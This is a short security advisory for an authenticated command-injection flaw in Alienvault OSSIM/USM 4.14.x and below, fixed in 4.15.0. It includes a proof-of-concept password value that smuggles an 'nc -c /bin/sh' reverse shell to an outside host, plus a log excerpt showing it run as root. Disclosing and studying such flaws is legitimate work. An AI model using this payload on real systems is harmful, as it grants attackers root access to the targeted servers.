facebook facebook twitter rss

Alienvault OSSIM/USM versions 4.14.x and below suffer from a remote command execution vulnerability.

Author: Oussama911 , Published: 19-01-2015
Details
=======
Title : Alienvault OSSIM/USM versions 4.14.x and below suffer from a remote command execution vulnerability. Proof of concept included.

Product: Alienvault OSSIM/USM
Vulnerability: Command Execution
Author: Oussama911
Contact : fb.me/Anonymous.goverments
Greetz : Djamel11154 - Russi17030ox - The V!per - CraCk-Boy - Wolfman , ( Anonymous Algeria Team )
CVE: None assigned
Vulnerable Versions: <=4.14.X
Fixed Version: 4.15.0


Summary
=======

Alienvault OSSIM is an open source SIEM solution designed to collect
and correlate log data. The automatic deployment option for OSSEC
agents is vulnerable to command execution as root. Authentication to
the web UI is required to exploit this vulnerability.



Technical Details and POC
=========================

The web UI allows a user to automatically deploy OSSEC agents to
Windows hosts when supplied with a username and password. The username
and password are passed unfiltered to a command that runs as root. By
simply providing a password of "fakepass | nc -c /bin/sh X.X.X.X 1234
| " a reverse shell is created and root access to the operating system
is obtained.

The user.log shows the input as it is passed to the command:

Dec 18 16:42:28 ossim-server ansible-command: Invoked with
executable=/bin/bash shell=True args= program_files_x86=$(winexe
--user=/test%fakepass | nc -c /bin/sh 10.10.10.10 1234 |
//10.10.10.199 'cmd /c set' | grep "^ProgramFiles(x86)=" | cut -d'='
-f 2-); program_files_x64=$(winexe --user=/test%fakepass | nc -c
/bin/sh 10.10.10.10 1234 | //10.10.10.199 'cmd /c set' | grep
"^ProgramFiles=" | cut -d'=' -f 2-); [[ $program_files_x86 ]] && echo
$program_files_x86 || echo $program_files_x64 removes=None
creates=None chdir=None



Solution
========

Upgrade to v4.15



References
==========

https://www.alienvault.com/forums/discussion/4414/alienvault-v4-15-functional-release
(ENG-98338)

Like us on Facebook :